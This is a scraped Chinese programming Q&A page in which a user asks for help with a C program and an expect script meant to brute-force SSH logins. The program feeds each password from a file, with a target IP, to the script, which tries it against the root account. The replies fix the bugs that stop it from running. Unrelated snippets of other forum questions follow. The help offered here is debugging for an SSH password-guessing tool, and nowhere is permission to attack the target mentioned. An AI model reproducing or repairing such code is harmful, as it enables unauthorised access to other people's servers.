c语言-大家帮我看一下,这个在C语言里调用shell的对嘛,谢谢

问题描述

大家帮我看一下,这个在C语言里调用shell的对嘛,谢谢

#include
#include
int main(int argc,char**argv){
FILE* fp=NULL;
fp=fopen("passwd.txt","r");
char buff[20];
int i;
for(i=0;;i++){
memset(buff,0,sizeof(buff));

            if(fp==NULL)
                    break;

            fgets(buff,20,fp);
            printf("%s",buff);
            char shell[200];
            sprintf(shell,"/home/hht/workspeace/work1/ssh.sh %s %s",argv[1],buff);
            system("shell");
                    }

}
我想实现一个暴力破解ssh的小程序,但是完全不会shell,也只能硬着头皮用了,上面的C部分我想把passwd上的每一行代码fgets出来,然后连带ip作为参数传进shell里面,可能是在system调用shell的时候出的问题,当然也可能所有都有问题。

下面是shell的代码
#!/usr/bin/expect -f
set passwd $2
#密码
set host $1
#目标主机地址
set name root
#用户名

spawn ssh $host -l $name
expect "root@$host’s password:"
send "$passwdr"

send"unamen"
expect"LINUX"
send_user"success"

expect"Permission denied,please try again."
send_user"wrongnumber"
~

用expect这样可以吗,谢谢大家

解决方案

错误是无限的
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found
sh: 1: shell: not found

解决方案二:

system("shell");

--》 system(shell);

解决方案三:

目录不对,

/home/hht/workspeace/work1/ssh.sh 没有这个文件

时间: 2024-09-22 19:55:23

c语言-大家帮我看一下,这个在C语言里调用shell的对嘛,谢谢的相关文章

recyclerview-哪位好心的大侠帮我看一下代码,不知道为什么一运行虚拟机就崩溃,谢谢啦

问题描述 哪位好心的大侠帮我看一下代码,不知道为什么一运行虚拟机就崩溃,谢谢啦 import android.content.Context; import android.os.AsyncTask; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.DefaultItemAnimator; import android.suppo

c语言编的秦九韶公式,纳尼?结果为什么是0.000000?大家帮我看下,谢谢。

问题描述 c语言编的秦九韶公式,纳尼?结果为什么是0.000000?大家帮我看下,谢谢. #include #include double Area(int i,int j,int k) { double m,s; s=(i+j+k)/2; m=sqrt(s*(s-i)*(s-j)*(s-k)); return m; } int main() { int a,b,c, double M; printf("please input a,b,c:n"); scanf("%d%d%

第一次用c语言写的图书管理系统 出现了问题 劳烦大家帮我看一看 明后天就要交作业了

问题描述 第一次用c语言写的图书管理系统 出现了问题 劳烦大家帮我看一看 明后天就要交作业了 我的问题是 bbook函数里为什么 if(strcmp(u[i].code,id)==0 总不能满足 AddBook函数运行老中断 程序写的有些乱 没规矩请见谅 #include #include//颜色调用 #include #include #include//输出流调用 void menuu();//读者菜单 void menua();//管理者菜单 void print( struct Book

有人懂fortran语言吗?可以帮我看下代码,写成c语言吗?十分感谢!

问题描述 有人懂fortran语言吗?可以帮我看下代码,写成c语言吗?十分感谢! FUNCTION XTERP(XCC,X,Y,NDEG,NPTS,DINT,IER) XTR 0001 C XTR 0002 C FUNCTION PERFORMS NEWTONS INTERPOLATION FOR DISCRETE DATA XTR 0003 C AS A FUNCTION OF ONE VARIABLE XTR 0004 C XTR 0005 C WHERE XC - INDEPENDENT

android-大牛们谁帮我看下打印出来的Android所有语言中有乱码吗

问题描述 大牛们谁帮我看下打印出来的Android所有语言中有乱码吗 01-01 05:34:47.079: D/(1937): localeInfos is ..[Afrikaans, Az?rbaycan, Bahasa Indonesia, Bahasa Melayu, Català, ?e?tina, Dansk, Deutsch (Deutschland), Deutsch (Liechtenstein), Deutsch (?sterreich), Deutsch (Schweiz)

c语言-麻烦大家帮我看一下这段代码有啥错误?

问题描述 麻烦大家帮我看一下这段代码有啥错误? #include<stdio.h> int b[100],c[100],x; void input(int a[],int n) {printf("输入数组a<10个元素>:"); for(int i=0;i<n;i++) scanf("%c",&a[i]);} void insert(int a[],int n,int x) {for(int i=0;i<n;i++) if

c语言编程-gcc编译没有错,就出不了结果,谁能帮我看下,多谢

问题描述 gcc编译没有错,就出不了结果,谁能帮我看下,多谢 #include int main(int argc, char *argv[]) { int n,x,y,i=0,a[100]; scanf("%d",&n); for(i=0;i<n;i++) { a[i]=i+1; } x=0; y=n; while(y>1) { for(i=0;i<n;i++) if(a[i]!=0) { x++; if(x%3==0) { a[i] = 0; y--; }

代码-麻烦各位前辈看一下我这个C语言程序,找不出错误。

问题描述 麻烦各位前辈看一下我这个C语言程序,找不出错误. 我要对一个数组的数字进行排序,代码是这样的: //声明:该程序中输入的数据不能重复! #include int imin(const int va[], int n) // find the min of va[] { int i, min; min = va[0]; for (i = 0; i < n; i++) { if (min > va[i]) min = va[i]; } return min; } int imax(con

文件操作-帮我看下圈圈里的什么意思?

问题描述 帮我看下圈圈里的什么意思? 帮我看下圈圈里的什么意思? 解决方案 把p1放在p2后面,p1作为最后一个元素. 解决方案二: p1指向尾节点,p2指向原来的p1, 解决方案三: p1后续为空,p2后续为p1.看n不等于0的逻辑没看出什么名堂.不过有点像头尾倒置链表的功能.ps:c语言结构体不带箭头能行? 解决方案四: p1节点接在p2后面,p1作为单链表最后一个节点,但是这个else分支为什么要这么搞没弄清楚